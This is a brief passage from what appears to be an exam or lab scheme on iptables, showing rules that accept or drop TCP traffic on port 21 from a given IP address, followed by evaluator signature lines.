iptables -A INPUT -i eth0 -j ACCEPT -p tcp --dport 21 -s "\$BLOCK\_THIS\_IP"

13) To block a specific ip address in port 21 to access TCP connection

iptables -A INPUT -i eth0 -j DROP -p tcp --dport 21 -s "\$BLOCK\_THIS\_IP"

Scheme prepared by (R.VEERAMOHANA RAO)

Signature of HOD

#### SIGNATURE OF EVALUATORS.